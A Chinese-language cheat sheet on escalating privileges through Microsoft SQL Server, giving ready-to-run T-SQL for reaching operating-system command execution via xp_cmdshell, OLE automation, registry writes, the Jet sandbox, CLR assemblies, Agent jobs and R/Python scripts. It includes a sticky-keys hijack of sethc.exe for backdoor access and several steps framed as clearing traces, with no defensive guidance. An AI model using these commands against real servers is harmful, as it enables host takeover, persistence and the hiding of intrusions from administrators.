一、基础概念与前提
1. 核心前提
-
服务器已开启 SQL Server 服务并允许外联
-
拥有高权限账号(如
sa
,对应sysadmin
角色,为最高权限) -
数据库未被降权(部分版本默认降权为
mssql
用户,可能限制操作)
2. 权限判定
-
sysadmin(DBA 权限):最高权限,可执行任意操作 判定命令:
select IS_SRVROLEMEMBER('sysadmin');
(返回 1 表示拥有) -
db_owner(dbo 权限):数据库所有者,可执行数据库内大部分操作 判定命令:
select IS_SRVROLEMEMBER('db_owner');
-
public 角色:默认角色,权限最低 判定命令:
select IS_SRVROLEMEMBER('public');
二、提权方法
1. xp_cmdshell 提权
-
原理:通过扩展存储过程直接执行系统命令,返回执行结果
-
适用版本:2000 默认开启,2005 及以上默认禁用
-
操作步骤:
-
启用组件(需 sa 权限):
use master; exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-
执行命令:
exec master..xp_cmdshell "whoami";
-
关闭组件(清理痕迹):
exec sp_configure 'xp_cmdshell', 0; RECONFIGURE;
-
-
恢复方法:若组件被删除,可通过 DLL 恢复:
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
2. sp_oacreate 提权
-
原理:调用
WScript.Shell
等 OLE 对象,通过sp_oamethod
执行系统命令 -
特点:无回显,需将结果写入文件后读取
-
操作步骤:
-
启用组件:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-
执行命令(例:添加用户并写入结果):
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@ffffffff0x output exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str;
-
3. xp_regwrite 提权
-
原理:修改 Windows 注册表(如添加启动项、映像劫持)实现提权
-
典型场景:劫持粘滞键(sethc.exe),替换为 cmd.exe
-
操作示例:
-- 劫持粘滞键 exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.EXE', @value_name='Debugger', @type='REG_SZ', @value='c:\windows\system32\cmd.exe';
-
验证劫持:
exec master..xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.exe', 'Debugger';
4. 沙盒提权
-
原理:利用 Access 沙盒机制,通过
openrowset
调用 mdb 文件执行命令 -
适用条件:32 位系统、存在
jet.oledb.4.0
驱动、sa 权限 -
操作步骤:
-
开启分布式查询:
exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'Ad Hoc Distributed Queries', 1; reconfigure;
-
关闭沙盒模式(修改注册表):
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-
配置 OLE DB 提供程序属性(适配不同 SQL Server 版本 )
-- Until SQL Server 2012 EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 -- SQL Server 2014 or later EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
-
执行系统命令:
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb', 'select shell("whoami")');
-
恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; exec sp_configure 'Ad Hoc Distributed Queries',0; reconfigure;
-
5. CLR 提权
-
原理:利用 SQL Server 与 .NET CLR 的集成,通过自定义存储过程执行命令
-
适用版本:2005 及以上
-
操作步骤:
-
开启 CLR 集成:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'clr enabled', 1; RECONFIGURE; ALTER DATABASE master SET TRUSTWORTHY ON; -- 标记数据库为可信任
-
注册自定义 DLL(含命令执行代码):
CREATE ASSEMBLY [MyAssembly] FROM 'C:\path\to\your.dll' WITH PERMISSION_SET = UNSAFE;
-
创建并执行存储过程:
CREATE PROCEDURE sp_cmdexec @Command nvarchar(4000) AS EXTERNAL NAME [MyAssembly].[StoredProcedures].[Cmdexec]; exec sp_cmdexec 'whoami'; -- 执行命令
-
清理痕迹:
DROP PROCEDURE sp_cmdexec; DROP ASSEMBLY [MyAssembly];
-
6. Agent Job 提权
-
原理:通过 SQL Server 代理(SQLSERVERAGENT)创建计划任务执行命令
-
操作步骤:
-
启动代理服务:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
-
创建任务并执行命令(例:写入结果到文件):
use msdb; exec sp_delete_job null, 'test'; -- 删除同名任务(若存在) exec sp_add_job 'test'; exec sp_add_jobstep null, 'test', null, '1', 'cmdexec', 'cmd /c "whoami > D:\result.txt"'; exec sp_add_jobserver null, 'test', @@servername; exec sp_start_job 'test'; -- 启动任务
-
读取结果:
bulk insert readfile from 'D:\result.txt'; select * from readfile;
-
7. 脚本执行提权(R/Python)
-
原理:利用 SQL Server 2017+ 的机器学习服务,通过外部脚本执行命令
-
操作步骤:
-
开启外部脚本权限:
exec sp_configure 'external scripts enabled', 1; RECONFIGURE;
-
执行 R 脚本:
exec sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir", intern=T))' WITH RESULT SETS (([cmd_out] text));
-
执行 Python 脚本:
exec sp_execute_external_script @language=N'Python', @script=N' import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")]) ';
-